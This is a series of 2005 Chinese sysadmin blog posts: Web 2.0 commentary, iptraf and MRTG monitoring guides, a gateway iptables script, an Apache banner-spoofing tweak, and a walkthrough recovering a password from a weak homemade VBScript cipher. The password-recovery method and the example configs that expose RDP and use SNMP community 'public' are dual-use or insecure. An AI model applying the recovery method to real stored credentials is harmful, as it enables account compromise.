    3) 在国内,使用多Tag的人不太多,使用习惯是个问题
    建议: 只在对信息归类的时候考虑使用Tag, 信息越难找使用Tag效果越好。比如图片和视频是最难找到的,这时候使用Tag效果最佳。另外Rojo针对每个项标注tag的方式就有点过了,真的有这个需求吗?
    用户体验: 添加分类更方便、随意,查找更方便、准确。

    Web Services -- 这是实现异构平台数据交换的主要技术,数据传输也采用XML格式
    好处: 异构平台可以无缝交换数据
    局限: 需要程序员来开发才能使用Web Services
    建议: 周天舒认为“Web 2.0的核心是Web service”, 我的观点不同,除非有技术上的合作伙伴的需求,否则实现Web Services接口的意义不太大。这不是说Web Services不好,只是在国内,程序员很少利用其他网站的Web Services去写附加应用。这种现状短时间难以改变,想想国外红火的开源为什么不能在中国星火燎原就知道为什么了。
    用户体验: 用户感觉不到,需要有开发者开发出相关应用才有效。

    Web标准(CSS+XHTML) -- Web标准这个词随着去年《网站重构:应用WEB标准进行设计》一书在国内推广,总体还说没有什么技术含量,主要是对美术设计工程师提出更高的要求,改变原来一些网页设计的习惯。
    好处: 1) 页面更小、加载更快
    2) 页面更规范、减少了和程序的交互
    局限: 主要是学习成本,目前还没有一款很好的可视化编译器
    建议: 尽量多采用
    用户体验: 页面加载速度更快,方便了用户访问

    URL Rewriting -- URL重写其实就是一个特殊的Http Handler。通过这个Handler过滤每个URL请求,根据需求对URL进行重定向的技术。
    好处: 使得URL更短,更好记
    局限: 在IIS中Handler一般对某个后缀文件进行处理,如果是通配符处理,事实上Handler处理了许多不需要处理的请求,造成浪费。
    建议: 尽量多用,IIS中实现参考在ASP.NET中执行URL重写
    用户体验: 用户可以很容易记住网址,方便下次访问。

    Ajax -- 全称是Asynchronous JavaScript with XmlHttpRequest,Ajax通过调用XmlHttpRequest实现与服务器的异步通讯,并使用对应平台的XmlDom对返回的Xml消息进行处理,然后再通过DOM对页面中的HTML元素的操作实现丰富的、友好的用户界面。大家都知道,这是一项古老的技术了,“时尚的轮回-Ajax”指出,
    Microsoft Remote Scripting与Ajax几乎如出一辙。但是由于当时服务器端技术风靡,而一次部署到处运行(只要有浏览器就行)的口号声一浪高过一浪,使得人们忽略了用户交互。而为了提高用户体验的Microsoft Remote Scripting 也就没有得到过多的关注。
    我们知道,ASP.NET 1.x 的 Post Back 和 View State 引进了个新的概念:服务器端的事件驱动编程模式,其副作用则是整个网页不断刷新。 但是,ASP.NET 2.0 的 Script Callbacks 将再次引进新的概念 Refresh the Data, Not the Page,其核心思想和Ajax有什么区别呢。
    所以,不管Ajax是否是“老酒有了新瓶子”,这样技术的继续发展对网站绝对是非常好的事情。现在有很多非常Cool的Ajax开发包,比如script.aculo.usRico可以帮助我们轻松实现复杂的异步数据处理,AJAX Matters有更多这方面的开发信息。
    除了Google重视Ajax以外,我们看到Microsoft也准备在9月的PDC上推出相关软件了。看来注重用户体验的大势所趋不可逆转。
    好处: 用户不需要刷新页面就可以完成异步的数据交换
    局限: 某些浏览器版本对XmlHttpRequest、Javascript的支持还有很多不同的地方
    建议: Ajax适合哪些应用?我认同Buffalo作者点评AJAX中的观点:
    从外观看来,适合那些对URL不敏感的web应用。如果一个应用对url的关心程度大于对交互特性关心程度,那么就不要妄想整个应用采用Ajax, 否则可以完全采用Ajax. 例如,一个论坛系统,如果用户不能通过url定位到一个确定的页面,那么这个应用是失败的;但是如果是一个email系统,传统的email每次点击都需要download整个page, 相比gmail的交互性与操作性,哪个成功哪个失败显而易见了。
    用户体验: 大大加强,只要技术使用得到,和客户端软件没有两样。这也说明Ajax是实现RIA(Rich Internet Application)最好的技术之一。

    wiki -- 一个人人参与的CMS系统
    好处: 聚集大家的力量来建设互联网内容
    局限: 排除Spam的因素以外,人气也是个问题,我们不能期望到处是百科全书
    建议: 我不太看好Wiki在中国的发展,原因和开源相同。
    用户体验: Wiki的共同创作和链接方式 可以让用户在一个地方了解到足够多的信息(当然是wiki信息足够多才行)。

    关于用户体验,我最近在看VB之父Alan Cooper的 About Face 2.0,书中大量案例来剖析用户界面的设计和原则,虽然大部分是针对软件的,但是对Web设计很有参考价值。另外,Patterns in Interaction Design也是一个非常不错的Web设计模式网站,里面的案例全部是针对Web的,值得好好学习。

    引用老冒的一句话结尾:别关心什么web 2.0, 关心那些真正能改善你的web用户体验的技术,关心web技术的发展趋势吧。

  • Posted by vitter at 2005-09-13 10:58:42 | 评论 (0) | 引用

    September 12, 2005

    [脑力劳动]经简单加密后的密码的破解

    原帖:http://community.csdn.net/Expert/topic/3329/3329845.xml?temp=.6935236
    开始就觉得要耗费不少时间,但是想到好久没作些锻炼脑力的东西了,索性来一下,呵呵
    ================================================================================
    加密代码如下:
    '加密密码开始
    function encrypt(preString)
    Dim texts
    Dim seed
    Dim i,length
    prestring = trim(preString)
    length = len(preString)
    seed = length
    Randomize(length)
    texts = ""
    for i = 1 to length
    seed = int(94*rnd(-asc(mid(preString,i,1))-seed*asc(right(prestring,1)))+32)
    texts = texts & chr(seed) & chr(int(94*rnd(-seed)+32))
    next
    dim dist
    dist=""
    for i = 1 to len(texts)
    if mid(texts,i,1)<>"'" then
    dist=dist+mid(texts,i,1)
    end if
    next
    encrypt = dist
    end function
    '加密结束

    这段程序是给用户输入的密码进行加密.此程序能否写出解密程序?应如何着手?

    经过加密过后数据库显示密码的字符如下:
    aaGB0x?69Pf

    这个密码前面有个空格,提问者没有说明,耗费些许时间
    ================================================================================

    解决方法:
    看了两个小时,好象是可以逆出来的.不过估计要花更长时间,而且通用性不好.呵呵.
    主要入手点

    rnd(负数的值)是固定的0~1,不会改变
    seed的值必定在32~126之间
    第一个这句话中的第二个seed等于上次循环结束后的seed.

    texts = texts & chr(seed) & chr(int(94*rnd(-seed)+32))
    通过匹配chr(seed) / chr(int(94*rnd(-seed)+32)) 可以判断出哪几个字符是否相邻
    因为可能会有单引号被过滤掉的情况.

    准备工作,Word文档,做成表格便于理解

    从最后一位开始算,最后一位的
    mid(preString,i,1) = right(prestring,1)

    所以我们可以构造成一个简单的方程式

    为了便于操作,用VB快速写个小工具进行验证,打开附件里的计算器进行运算.
    除了第一个因为试验的原因时间长外,后面的每个字符破一个一分钟不到的时间
    当然除了机器运算外,还要根据实际的经验来进行一些判断.

    因为原来的加密函数中使用了Int来截取整数,所以重复性就很多
    我从后往前破,破到倒数第六个的时候,我发现有两个组合可能性比较大
    780103和780503,很象生日,就尝试在前面加了19,组合成19780103,加密后果然一致.
    然后进一步验证了9这个项是符合算法规则的,于是破解结束.

    从上面的组合中我们可以看到这个密码的原解最少有4*3*3*4*3=432个.

    Posted by vitter at 2005-09-12 16:16:46 | 评论 (0) | 引用

    September 11, 2005

    网络监控-iptraf安装配置使用中文文档

    网络监控-iptraf安装配置使用中文文档

    iptraf是一款linux环境下,监控网络流量的一款绝佳的免费小软件,特别是安装到防火墙上,与iptables一起工作,监控流经防火墙的网络异常,效果非常好。

    我的安装配置环境是redhat AS 4.0

    1、软件下载
    iptraf的最新版本是2.7.0,可以从下面的地址下载ftp://iptraf.seul.org/pub/iptraf/

    2、安装环境需要
    --- gcc 2.7.2.3 or later
    --- GNU C (glibc) development library 2.1 or later
    --- ncurses development libraries 4.2 or later
    可以在linux下执行:
    # rpm -qa | grep gcc
    # rpm -qa | grep glibc
    # rpm -qa | grep ncurses
    如果没有,则请安装

    3、安装
    将下载得到的iptraf-2.7.0.bin.i386.tar.gz上传到你所要安装的机器上,我的是防火墙的 /home/zwz/ 目录
    # cd /home/zwz
    # tar zxf iptraf-2.7.0.bin.i386.tar.gz
    # cd iptraf-2.7.0.bin.i386
    # ./Setup
    至此,安装完毕
    安装程序会将执行程序安装到 /usr/local/bin 目录下,并创 /var/local/iptraf 目录放置iptraf的配置文件,同时创建 /var/log/iptraf 目录放置iptraf产生的日志文件

    4、运行iptraf
    确认环境变量的PATH变量包含路径 /usr/local/bin
    # iptraf
    运行iptraf后会产生一个字符界面的菜单,点击 x 可以退出 iptraf,

    各菜单说明如下:

    1、菜单Configure...
    在这里可以对 iptraf 进行配置,所有的修改都将保存在文件:/var/local/iptraf/iptraf.cfg 中
    --- Reverse DNS Lookups 选项,对IP地址反查 DNS名,默认是关闭的
    --- TCP/UDP Service Names 选项,使用服务器代替端口号,例如用www 代替80,默认是关闭的
    --- Force promiscuous 混杂模式,此时网卡将接受所有到达的数据,不管是不是发给自己的。
    --- Color 终端显示彩色,当然用telnet ,ssh连接除外,也就是用不支持颜色的终端连接肯定还是没有颜色。
    --- Logging 同时产生日志文件,在/var/log/iptraf 目录下
    --- Activity mode 可以选择统计单位是kbit/sec 还是 kbyte/sec
    --- Source MAC addrs in traffic monitor 选择后,会显示数据包的源MAC地址

    2、菜单Filters...
    在这里可以设置过滤规则,这是最有用的选项了,当你从远端连入监控机时,自己的机器与监控机会产生源源不断的tcp数据包,有时很令人讨厌,此时你就可以将自己的ip地址排除在外。
    它包括六个选项,分别是:Tcp、Udp、Other IP、ARP、RARP、Non-ip。我们以TCP为例说明,其他选项的配置都很相似。

    --- Defining a New Filter
    选择Defining a New Filter后,会出来一对话框,要求填入对所建的当前规则的描述名,然后回车确定,Ctrl+x取消
    再接着出现的对话框里,Host name/IP address:的First里面填源地址,Second里填目标地址,Wildcard mask 的两个框里面分别是源地址和目标地址所对应的掩码,注意,这里的地址即可以是单个地址,也可以是一个网段,如果是单个IP,则相应的子网掩码要填成255.255.255.255,如果是一个网段,则填写相应的子网掩码:例如,想表示192.168.0.0,有256个IP地址的网段,则填写192.168.0.0,子网是:255.255.255.0,其他类推,All则用0.0.0.0,子网也是0.0.0.0表示。
    Port:栏要求填入要过滤的端口号,0表示任意端口号
    Include/Exclude栏要求填入I或者E,I表示包括,E表示排除
    填写完毕,回车确认,Ctrl+x取消

    --- Applying a Filter
    我们在上一步定义的一个或多个过滤规则会存储为一个过滤列表,在没有应用之前并不起作用,我们可以在这里选择我们应用那些过滤规则。所有应用的规则会一直起作用,即使重新启动iptraf。我们可以执行Detaching a Filter来取消执行当前所有应用的规则。

    --- Editing a Defined Filter 编辑一个已经存在的规则

    --- Deleting a Defined Filter 删除一个已经定义的规则

    --- Detaching a Filter 取消执行当前所有应用的规则

    3、菜单IP Traffic Monitor
    IP数据包流量实时监控窗口,注意这里会监控所有的来往数据包,包括自己的,所以,如果你使用远程终端连接上来的话,你和监控机将会源源不断的产生数据流,因此建议在Filters...菜单中将自己的IP过滤掉,是它不产生影响。在这里可以实时的看到每一个连接的流量状态,它有两个窗口,上面的是TCP的连接状态,下面的窗口可以看到UDP、ICMP、OSPF、IGRP、IGP、IGMP、GRE、ARP、RARP的数据包。可以点击s键选择排序,可以按照包的数量排序,也可按照字节的大小排序,如果因为它是实时变化的而导致看不太清楚的话,可以在Configure菜单中把Logging功能打开,它就会在/var/log/iptraf 目录中记录日志,以方便你在日后查看,当Logging功能打开后,当你开始监控IP Traffic时,程序会提示你输入Log文件的文件名,默认的是ip_traffic-1.log。

    在一个比较繁忙的网络里,显示的结果可能很乱,以至于你很难找到自己感兴趣的数据,这时可以使用Filters菜单,来过滤显示的数据。

    4、菜单General Interface Statistics
    这里显示每个网络设备出去和进入的数据流量统计信息,包括总计、IP包、非IP包、Bad IP包、还有每秒的流速,单位是kbit/sec或者是kbyte/sec ,这由Configure菜单的Activity选项决定。
    如果设置了Filter选项,这里也受到影响

    5、菜单Detailed Interface Statistics
    这里包括了每个网络设备的详细的统计信息,很简单,不再赘述。

    6、Statistical Breakdowns
    这里提供更详细的统计信息,可以按包的大小分类,分别统计;也可以按Tcp/Udp的服务来分类统计,也不再赘述。

    7、LAN Station Statistics
    提供对每个网络地址通过本机的数据的统计信息。

    Posted by vitter at 2005-09-11 11:36:12 | 评论 (0) | 引用

    September 10, 2005

    这是我的网关的iptables --by:vitter

    #!/bin/bash

    #定义网络ip变量
    EXPORT_IP=`ifconfig eth1 |grep inet |sed 's/^ *//' |sed 's/ /:/g' |cut -f3 -d:`
    GATEWAY_IP=192.168.0.254

    #初始化
    /etc/rc.d/init.d/iptables start
    echo 1 >/proc/sys/net/ipv4/ip_forward
    iptables -F INPUT
    iptables -F FORWARD
    iptables -F POSTROUTING -t nat
    iptables -F PREROUTING -t nat
    iptables -P FORWARD DROP

    #内网转发,使得192.168.0.0/24能够上网
    iptables -A FORWARD -s 192.168.0.0/24 -j ACCEPT
    iptables -A FORWARD -i eth1 -m state --state ESTABLISHED,RELATED -j ACCEPT
    iptables -t nat -A POSTROUTING -o eth1 -s 192.168.0.0/24 -j MASQUERADE

    #允许访问网关本身服务
    iptables -A INPUT -p tcp -i eth1 --syn --dport 80 -j ACCEPT
    iptables -A INPUT -p tcp -i eth1 --syn --dport 3389 -j ACCEPT
    iptables -A INPUT -p tcp -i eth1 --syn --dport 81 -j ACCEPT
    iptables -A INPUT -p tcp -i eth1 --syn -j DROP
    iptables -A INPUT -p icmp --icmp-type echo-request -i eth1 -j DROP

    #作pnat端口映射:3389到内网192.168.0.100的3389上,81到192.168.0.12的80上
    iptables -t nat -A PREROUTING -p tcp -d $EXPORT_IP --dport 3389 -j DNAT --to 192.168.0.100:3389
    iptables --append FORWARD -p tcp --dport 3389 --jump ACCEPT
    iptables -t nat -A POSTROUTING -d 192.168.0.100 -s 192.168.0.0/24 -p tcp --dport 3389 -j SNAT --to $GATEWAY_IP
    iptables -t nat -A PREROUTING -p tcp -d $EXPORT_IP --dport 81 -j DNAT --to 192.168.0.12:80
    iptables --append FORWARD -p tcp --dport 80 --jump ACCEPT
    iptables -t nat -A POSTROUTING -d 192.168.0.12 -s 192.168.0.0/24 -p tcp --dport 80 -j SNAT --to $GATEWAY_IP

    Posted by vitter at 2005-09-10 22:36:12 | 评论 (0) | 引用

    August 30, 2005

    [原创]用MRTG监测Linux系统网络、CPU、内存和硬盘情况

    [原创]用MRTG监测Linux系统网络、CPU、内存和硬盘情况
    By:vitter(vitter@afechina.net)
    My Web:http://vfocus.net
    Our Web:http://www.safechina.net
    My Blog:http://blog.vfocus.net

    随着Linux应用的日益广泛,有大量的网络服务器使用Linux操作系统。为了全面衡量网络运行状况,就需要对网络状态做更细致、更精确的测量。 SNMP协议的制订为互联网测量提供了有力支持。MRTG(MultiRouter Traffic Grapher, MRTG)就是基于SNMP的典型网络流量统计分析工具。它耗用的系统资源很小,因此有很多外挂的程序也依附在MRTG下。它通过SNMP协议从设备得到其流量信息,并将流量负载以包含JPEG格式图形的HTML文档的方式显示给用户,以非常直观的形式显示流量负载。
      工作原理
      网络服务器的资料总流量(网卡的资料传送总数)、CPU使用率以及特殊服务(例如Squid的代理服务)等的封包传送率(或者说是流量)是网络管理人员所必须要注意的事项。因为当主机的CPU使用率过高时,系统可能呈现不稳定的状态,这就需要注意是哪一个服务或者谁在尝试窃取我们的资料。因此,网络管理方面,有必要了解我们主机的流量状态,并视流量来加以限制或者是加大带宽。
      我们可以从MRTG的主页:http://www.mrtg.org下载MRTG软件。在网站:http://www.stat.ee.ethz.ch/mrtg/可以得到MRTG流量监测图的输出结果。
      MRTG是用Perl写成的,并且使用了zlib、gd以及png等函数(zlib用来压缩图表、gd用来绘制图表)。服务器中已经含有下列的软件: perl(perl-5.0xx以上)、zlib(zlib-1.1.3-xx以上)、gd(gd-1.3.xx以上)、libpng和Apache。

    实验名称:用MRTG 监测Linux 系统的CPU、Memory 负载
    操作系统:Redhat 9.0
    所使用的内核:linux-2.4.20
    实验用到的模块:mrtg-2.11.1.tar.gz
    作者:vitter
    功能描述:
    我们知道MRTG 是很出色的流量监测工具,可以对很多的网络设备进行流量的负载监测,只要这个设备支持SNMP 协议。另外我们还可以来监测Linux 系统的CPU、Memory 的负载。
    原理描述:
    以前我只是用MRTG 通过SNMP 来监测网络设备的流量,这次通过完成这次实验后对MRTG 有了更进一步的了解。MRTG 可以完成很强大的图表功能,只要你能给他两个数字,记住是两个数字,而且要定时的给。MRTG 就可以根据你定时提供的两个数字给你作出曲线图。
    这里我们要监测的是CPU 和Memory 的负载,其中,
    CPU 的监测包括:
    CPU 的使用率,
    CPU 的闲置率;
    Memory 包括:
    Memory 的使用率,
    Memory 的总量。
    所以在监测CPU时,我们要获得的数据是CPU的使用率,CPU的闲置率;在监测Memory时,我们要获得的数据是Memory 的使用率,Memory 的总量。好了,知道这些就够了,开始实验。

    1、安装MRTG
      由于MRTG是通过SNMP通讯协议来要求资料,因此Linux上需要先安装相应的软件SNMP。
    [root@intel root]#tar zxvf mrtg-2.11.1.tar.gz
    [root@intel root]#cd mrtg-2.11.1
    [root@intel mrtg-2.11.1]#./configure –prefix=/usr/local/mrtg
    [root@intel mrtg-2.11.1]#make
    [root@intel mrtg-2.11.1]#make install
    2、用mrtg监控网络:
    因为mrtg是通过snmp来监控信息的 所以要修改一下snmp配置文件
    [root@intel bin]#vi /etc/snmp/snmpd.conf
    #view mib2 included .iso.org.dod.internet.mgmt.mib-2 fc
    的内容修改为:
    view mib2 included .iso.org.dod.internet.mgmt.mib-2 fc
    然后将
    access notConfigGroup "" any noauth exact systemview none none
    修改为:
    access notConfigGroup "" any noauth exact mib2 none none

    启动snmp服务
    [root@intel bin]#service snmpd start
    接下来我们用cfgmaker来生成mrtg的配置文件
    [root@intel bin]#./cfgmaker --global "WorkDir: /usr/local/apache_1.3.31/htdocs/mrtg" --global "Options[_]: growright,bits" --output /usr/local/mrtg/etc/net1.cfg public@218.249.159.55
    global指对哪些设备有效(如果有多个设备的情况下)
    workDir 是指你APACHE的访问目录
    Options用来指定一些特定的选项,这里的growright,bits是用来指定默认options配置的对于常见的应用来说默认options配置就可以满足需求了。
    ifref用来指示用什么选项来标识设备接口,这里指定使用IP地址来标识网络设备接口。ifref可以指定为nr、ip、eth、descr、name。nr表示用接口在MIBII库中Interface接口的ifIndex来识别接口;IP表示使用ip地址识别接口;eth表示使用接口的物理地址标识接口;descr表示使用接口的描述信息来标识接口;name表示使用接口名来标识接口。一般来说ip地址是唯一的,但是有些情况下接口是没有IP地址的,例如交换机就会出现这种情况。对于接口来说nr(接口号)是唯一的,因此对于一般情况使用IP地址就可以了,而对于其他一些情况则需要采用nr了
    --output /usr/local/mrtg/etc/net1.cfg 指把配置文件生成在/usr/local/mrtg/etc目录下
    public@218.249.159.55 监控218.249.159.55 采用public作为共同体名通过snmp协议来监控设备218.249.159.55。
    ok 最后一步 启动mrtg
    [root@intel bin]#./mrtg /usr/local/mrtg/etc/net1.cfg
    然后用indexmaker做index文件
    [root@intel bin]#./indexmaker --title="流量监控" --output=/usr/local/apache_1.3.31/htdocs/mrtg/index.html /usr/local/mrtg/etc/net1.cfg
    就可以了,然后用HTTP访问 http://218.249.159.55/mrtg
    OK 网络监控完成

    下面是CPU监控和内存监控。

    3、获得我们需要的关于CPU 和Memory 的数据

    1), 获得CPU 的使用率和CPU 的闲置率
    为了获得CPU 的这两个数据,我们使用sar –u 1 3 这个命令,
    [root@intel zwz]# sar -u 1 3
    Linux 2.4.20-8 (intel) 08/30/2005

    05:46:16 PM CPU %user %nice %system %idle
    05:46:17 PM all 0.00 0.00 1.00 99.00
    05:46:18 PM all 0.00 0.00 0.00 100.00
    05:46:19 PM all 0.00 0.00 0.00 100.00
    Average: all 0.00 0.00 0.33 99.67
    sar 命令执行后生成如上图所示的数据。我们需要的是三个带下划线的数据。其中:
    CPU 的使用率为:%user + %system = 0.00 + 0.33 = 0.33
    CPU 的闲置率为:%idle = 99.67
    好了只有sar 是不行的,因为mrtg 不能识别这些数据,mrtg 能识别两个数据,所以我们要把0.33 和99.67 传给mrtg,这很容易实现,我用perl 写了一个脚本(cpu.pl)来获得并输出这两个数据:脚本如下

    #!/usr/bin/perl
    system ("/usr/bin/sar -u 1 3|grep Average >cpu_info_file"); #sar 输出写入文件cpu_info_file
    open (CPUINFO,"cpu_info_file"); #打开cpu_info_file 文件
    @cpuinfo=<CPUINFO>; # 读去文件内容
    close (CPUINFO); #关闭文件
    foreach $line(@cpuinfo) { #分别获得我们需要的
    @cpustatus=split(/ +/,$line); #每一个数值
    }
    $cpuused=$cpustatus[2]+$cpustatus[4];
    $cpuidle=$cpustatus[5];
    print "$cpuused\n"; #输出两个数值
    print "$cpuidle";
    system ("uptime");
    system ("uname -n");
    ############### By Vitter :vitter@safechina.net#####################

    注意:在脚本里system ("/usr/local/bin/sar -u 1 3|grep Average >cpu_info_file") ,这句话中必须将sar 的全路径写全,而不能用system ("sar -u 1 3|grep Average >cpu_info_file") 。因为cpu.pl 是由mrtg 调用,mrtg 不知道你的系统路径。
    我将cpu.pl 脚本放在/usr/local/mrtg/bin 下,执行cpu.pl 会得到下面的结果:

    [root@intel bin]# ./cpu.pl
    0
    100.00
    12:07am up 1 day, 7:22, 2 users, load average: 0.07, 0.12, 0.09
    TRSB
    好,我们需要的数值已经输出来了,下一步的工作就是要交给mrtg 了,mrtg 是通过一个配置文件来获得这两个数值的,通常情况下这个配置文件是由mrtg 的cfgmaker 命令来生成的, 但这次我们要自己写这个配置文件(cpu.cfg) : 这个配置文件我把他放在/usr/local/mrtg/etc 下,内容如下:
    [root@intel etc]# vi cpu.cfg

    WorkDir:/usr/local/apache_1.3.31/htdocs/mrtg/cpu/
    Target[localhost]:`/usr/local/mrtg/bin/cpu.pl`
    Xsize[localhost]: 300
    Ysize[localhost]: 100
    Ytics[localhost]: 10
    MaxBytes[localhost]:100
    Title[localhost]:CPU State
    PageTop[localhost]:<H1>CPU State of Vitter-test Server</H1>
    ShortLegend[localhost]: %
    YLegend[localhost]: CPU (%)
    Legend1[localhost]: Used
    Legend2[localhost]: Total
    LegendI[localhost]: CPU Used
    LegendO[localhost]: CPU IDEL
    Options[localhost]: growright,gauge,nopercent

    下面我们可以执行mrtg 了:
    [root@intel etc]#/usr/local/mrtg/bin/mrtg /usr/local/mrtg/etc/cpu.cfg
    当第一次执行时会有报警,执行三次,就没有报警了。

    2)、获得内存的使用率和总量
    为了获得内存的使用量和总量我使用free -m 这个命令:
    [root@intel etc]# free -m
    total used free shared buffers cached
    Mem: 501 454 47 0 71 234
    -/+ buffers/cache: 148 353
    Swap: 1019 8 1010

    free 命令执行后生成如上图所示的数据。我们需要的是两个带下划线的数据。其中:
    Memory 的使用情况为:454 M
    Memory 的总量为:501 M
    下面我们通过一个perl 脚本(mem.pl)来获得并输出这两个数据,脚本如下:

    [root@intel bin]# vi mem.pl

    #!/usr/bin/perl
    system ("/usr/bin/free -m | grep Mem >mem_info_file");
    open (MEMINFO,"mem_info_file");
    @meminfo=<MEMINFO>;
    close (MEMINFO);
    foreach $line(@meminfo) {
    @memstatus=split(/ +/,$line);
    }
    $memused=$memstatus[2];
    $memtotal=$memstatus[1];
    print "$memused\n";
    print "$memtotal\n";
    system ("uptime");
    system ("uname -n");
    ########## By Vitter vitter@safechina.net ##################
    我同样把mem.pl 这个脚本放在/usr/local/mrtg/bin/下,这个脚本由mrtg 来调用,现在我们来完成相应的配置文件(mem.cfg),我把mem.cfg 放在/usr/local/mrtg/etc 目录下,内容如下:
    [root@intel etc]# vi mem.cfg

    WorkDir:/usr/local/apache_1.3.31/htdocs/mrtg/mem/
    Target[localhost]: `/usr/local/mrtg/bin/mem.pl`
    Xsize[localhost]:300
    Ysize[localhost]:100
    Ytics[localhost]:10
    MaxBytes[localhost]: 1006
    Title[localhost]:Memory State of Vitter-test Server
    PageTop[localhost]:<H1>Memory State of Vitter-test Server</H1>
    ShortLegend[localhost]: B
    kmg[localhost]: M
    YLegend[localhost]: Memory Usage
    Legend1[localhost]: Used
    Legend2[localhost]: Total
    LegendI[localhost]: Used
    LegendO[localhost]: Total
    Options[localhost]: growright,gauge,nopercent

    下面我们可以执行mrtg 了:
    [root@intel etc]# /usr/local/mrtg/bin/mrtg /usr/local/mrtg/etc/mem.cfg
    当第一次执行时会有报警,执行三次,就没有报警了。

    3)、获得硬盘空间总量和使用量
    用命令df -kl查看硬盘空间情况
    [root@intel bin]# df -kl
    Filesystem 1k-blocks Used Available Use% Mounted on
    /dev/sda5 2063504 1169204 789480 60% /
    /dev/sda1 101089 8127 87743 9% /boot
    /dev/sda2 8262068 2324004 5518368 30% /data
    /dev/sda7 2063504 1364412 594272 70% /home
    /dev/sda6 2063504 1288716 669968 66% /usr
    /dev/sda3 2063536 350040 1608672 18% /var
    /dev/sdb1 17654736 2964312 13793600 18% /data1
    总量=2063504+ 101089+8262068+2063504+2063504+2063536 +17654736 =34271941
    使用量=1169204+8127+2324004+1364412+1288716+350040+2964312=9469231
    [root@intel bin]# vi df.pl

    #!/usr/bin/perl
    # This script was written on RedHat 9.0, it assumes that the command
    # output(df -kl) looks like this:
    # Filesystem 1k-blocks Used Available Use% Mounted on
    # /dev/sda5 2063504 1169204 789480 60% /
    # /dev/sda1 101089 8127 87743 9% /boot
    # /dev/sda2 8262068 2324004 5518368 30% /data
    # /dev/sda7 2063504 1364412 594272 70% /home
    # /dev/sda6 2063504 1288716 669968 66% /usr
    # /dev/sda3 2063536 350040 1608672 18% /var
    # /dev/sdb1 17654736 2964312 13793600 18% /data1
    #
    # In which case, this script returns :
    #
    # 34271941
    # 9469231
    # when run.
    foreach $filesystem (`df -kl | grep -v "Filesystem"`)
    {
    @df = split(/\s+/,$filesystem);
    $total += $df[1];
    $usage += $df[2];
    }
    print "$total\n";
    print "$usage\n";
    system ("uptime");
    system ("uname -n");

    编辑配置文件(df.cfg)
    [root@intel etc]#vi df.cfg
    WorkDir:/usr/local/apache_1.3.31/htdocs/mrtg/df/
    Target[localhost]: `/usr/local/mrtg/bin/df.pl`
    Xsize[localhost]:300
    Ysize[localhost]:100
    Ytics[localhost]:10
    Title[localhost]: Vfocus.Net SERVER Disk Space (34,271,941 kB / 36GB) Megabytes used
    Unscaled[localhost]: dwym
    MaxBytes[localhost]: 34271941
    PageTop[localhost]: <H1>Vfocus.Net SERVER Disk Space(34,271,941 kB / 36GB) Megabytes used</H1>
    kmg[localhost]: KB,MB,GB
    LegendI[localhost]: Total Disk Space
    LegendO[localhost]: Used Disk Space
    Legend1[localhost]: Total Disk Space
    Legend2[localhost]: Used Disk Space
    YLegend[localhost]: Megabytes
    ShortLegend[localhost]: &
    Options[localhost]: growright,gauge,nopercent

    [root@intel etc]# /usr/local/mrtg/bin/mrtg /usr/local/mrtg/etc/df.cfg
    执行三次,就没有报警了。
    用indexmaker作index文件
    [root@intel bin]# ./indexmaker --title="硬盘监控" --output=/usr/local/apache_1.3.31/htdocs/mrtg/df/index.html /usr/local/mrtg/etc/df.cfg
    [root@intel bin]# ./indexmaker --title="CPU监控" --output=/usr/local/apache_1.3.31/htdocs/mrtg/cpu/index.html /usr/local/mrtg/etc/cpu.cfg
    [root@intel bin]# ./indexmaker --title="内存监控" --output=/usr/local/apache_1.3.31/htdocs/mrtg/mem/index.html /usr/local/mrtg/etc/mem.cfg
    我们把mrtg 加入到crontab 中,让他定时执行:
    */3 * * * * /usr/local/mrtg/bin/mrtg /usr/local/mrtg/etc/mem.cfg
    */3 * * * * /usr/local/mrtg/bin/mrtg /usr/local/mrtg/etc/cpu.cfg
    */3 * * * * /usr/local/mrtg/bin/mrtg /usr/local/mrtg/etc/net1.cfg
    */3 * * * * /usr/local/mrtg/bin/mrtg /usr/local/mrtg/etc/df.cfg

    现在就可以监控网络、CPU 和Memory 了。这里是我的示例:http://www2.vfocus.net/mrtg/ http://www2.vfocus.net/mrtg/cpu/ http://www2.vfocus.net/mrtg/mem/

    请尊重原创,如有引用请注明出处:
    本文的引用网址:
    http://WWW.VFOCUS.NET/BLOG/mt-tb.cgi/16

    Posted by vitter at 2005-08-30 18:40:22 | 评论 (0) | 引用

    August 25, 2005

    [收藏]对Apache动一点小手术/诱骗一般水货攻击

    目的: 对Apache进行简单操作,以诱骗普通水货攻击者,或者自娱自乐!!!
    方法: 修改几个Apache的几个源代码文件,然后自己编译
    操作: 一、文件操作

    file:srcdir/include/ap_release.h
    代码:
    #define AP_SERVER_BASEVENDOR "这里填写开发组织名,例如:Microsoft Corp."
    #define AP_SERVER_BASEPRODUCT "这里填写服务器软件名,例如:Microsoft-IIS" #define AP_SERVER_MAJORVERSION "主版本,例如:5"
    #define AP_SERVER_MINORVERSION "次版本,例如:0"
    #define AP_SERVER_PATCHLEVEL "修正版本,例如:1"

    file:srcdir/include/os.h
    代码:
    #define PLATFORM "这里填写操作系统的名称,例如:Win32"

    file:srcdir/os/PLATFORM/os.h
    代码:
    #define PLATFORM "这里填写操作系统的名称,例如:Win32"

    file:srcdir/modules/generators/mod_info.c
    代码:
    Search "Apache Server Information" replace with "这里填写在查看server-info现实的页面标题,例如:Microsoft-IIS Information"

    file:srcdir/modules/generators/mod_status.c
    代码:
    Search "Apache Server Status" replace with "这里填写在查看server-status现实的页面标题,例如:Microsoft-IIS Status"


    说明: file:path/to/filename 表示要对这个文件进行操作
    Search "A" replace with "B" 表示在文件之中搜索A,然后使用B替换

    二、编译操作

    按照一般正常步骤编译安装

    结果:
    /server-info:
    Microsoft-IIS Information ... Server Version: Microsoft-IIS/5.0/5.0.1 (Win32)

    /server-status:
    Apache Server Status for 127.0.0.1 Server Version: Microsoft-IIS/5.0/5.0.1 (Win32)

    Server Built:
    Apr 3 2004 18:20:54

    页面底部显示:(例如在以上两个测试和indexes情况之下)
    Microsoft-IIS/5.0/5.0.1 (Win32) Server at 127.0.0.1 Port 80

    Posted by vitter at 2005-08-25 11:13:20 | 评论 (0) | 引用

    August 11, 2005

    [原创]windows下用openssh、ant、vss控制java项目的代码开发

    1、安装openssh

    1) 、下载openssh。
    可以在此下载。http://sshwindows.sourceforge.net/download/

    2) 、安装。
    安装很简单,就像其它windows下的软件一样,双击即可。安装到大半,会有提示框弹出,说“必须要设置../etc/passwd文件才可以正常运作 openssh,详情可以参阅readme.txt或quickstart.txt文件。”不用管它,按确定继续完成安装。安装完后可以看到 quickstart.txt文件的内容。

    3) 、配置。

